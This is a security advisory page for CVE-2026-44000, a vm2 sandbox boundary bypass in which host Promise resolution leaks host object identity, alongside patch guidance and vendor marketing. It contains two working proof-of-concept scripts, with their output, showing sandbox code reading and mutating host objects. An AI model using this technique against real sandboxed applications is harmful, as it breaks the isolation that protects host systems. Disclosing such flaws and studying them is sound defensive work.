CVE-2026-44000 — vm2
MEDIUMCVE-2026-44000 is a medium-severity (CVSS 6.5) CWE-693 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2: sandbox boundary bypass via host Promise resolution preserving host object identity
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44000.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-44000 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
A sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution.
When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including:
- Performing identity checks using host-side
WeakMap - Mutating host object state from inside the sandbox
This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object.
As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation.
Details
In setup-sandbox.js, vm2 wraps Promise.prototype.then:
globalPromise.prototype.then = function then(onFulfilled, onRejected) {
resetPromiseSpecies(this);
if (typeof onFulfilled === 'function') {
const origOnFulfilled = onFulfilled;
onFulfilled = function onFulfilled(value) {
value = ensureThis(value);
return apply(origOnFulfilled, this, [value]);
};
}
return apply(globalPromiseThen, this, [onFulfilled, onRejected]);
};
The wrapper calls ensureThis(value) before invoking the sandbox callback.
However, ensureThis is implemented in bridge.js as thisEnsureThis():
function thisEnsureThis(other) {
const type = typeof other;
switch (type) {
case 'object':
if (other === null) return null;
case 'function':
let proto = thisReflectGetPrototypeOf(other);
if (!proto) {
return other;
}
while (proto) {
const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);
if (mapping) {
const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]);
if (mapped) return mapped;
return mapping(defaultFactory, other);
}
proto = thisReflectGetPrototypeOf(proto);
}
return other;
If no prototype mapping is found, ensureThis() simply returns the original object:
return other;
This means the sandbox receives the original host object instead of a proxied or sanitized representation.
Because of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved.
PoC
The following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox.
WeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity.
PoC Code
import {VM} from "./index.js";
const hostObj = {tag: "HOST_OBJ"};
const hostPromise = Promise.resolve(hostObj);
// WeakMap created on the host
const wm = new WeakMap([[hostObj, "HIT"]]);
const vm = new VM({
sandbox: {hostPromise, wm},
timeout: 1000,
eval: false,
wasm: false,
});
const code = `
hostPromise.then(v => ({
weakMapGet: wm.get(v),
typeofV: typeof v,
tag: v.tag
}))
`;
const result = await vm.run(code);
console.log("VM RESULT:", result);
console.log("HOST SAME KEY STILL:", wm.get(hostObj));
Output
VM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' }
HOST SAME KEY STILL: HIT
This confirms that the object delivered to the sandbox callback retains host identity.
Additional Demonstration: Host Object Mutation
The sandbox can also mutate host object state through the resolved Promise value.
import {VM} from "./index.js";
const hostObj = {tag: "HOST_OBJ", nested: {x: 1}};
const hostPromise = Promise.resolve(hostObj);
const vm = new VM({
sandbox: {hostPromise},
timeout: 1000,
eval: false,
wasm: false,
});
const code = `
hostPromise.then(v => {
v.nested.x = 999;
v.tag = "MUTATED";
return { seenTag: v.tag, seenX: v.nested.x };
})
`;
const result = await vm.run(code);
console.log("VM RESULT:", result);
console.log("HOST AFTER:", hostObj);
**Output:**
VM RESULT: { seenTag: 'MUTATED', seenX: 999 }
HOST AFTER: { tag: 'MUTATED', nested: { x: 999 } }
This demonstrates write-through mutation of a host object from sandbox code.
**Impact**
This vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution.
Consequences include:
Host object identity disclosure
Write-through mutation of host objects
WeakMap / WeakSet identity oracle across the boundary
Potential capability leaks if sensitive host objects are reachable via Promises
Applications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects.
This weakens the intended isolation guarantees of vm2.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.0npm install vm2@3.11.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44000 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44000 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-44000. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
vm2 is vulnerable to sandbox boundary violation when host Promises resolve host objects into sandbox callbacks, enabling direct host object interaction and limited confidentiality/integrity impact. A remote unauthenticated attacker who can run sandboxed code and trigger host Promise resolution may read or mutate host…
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.1 | ansible-automation-platform/automation-portal:1785854226 | RHSA-2026:50850 |
Frequently Asked Questions
Is CVE-2026-44000 in your dependencies?
O3 Security finds CVE-2026-44000 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.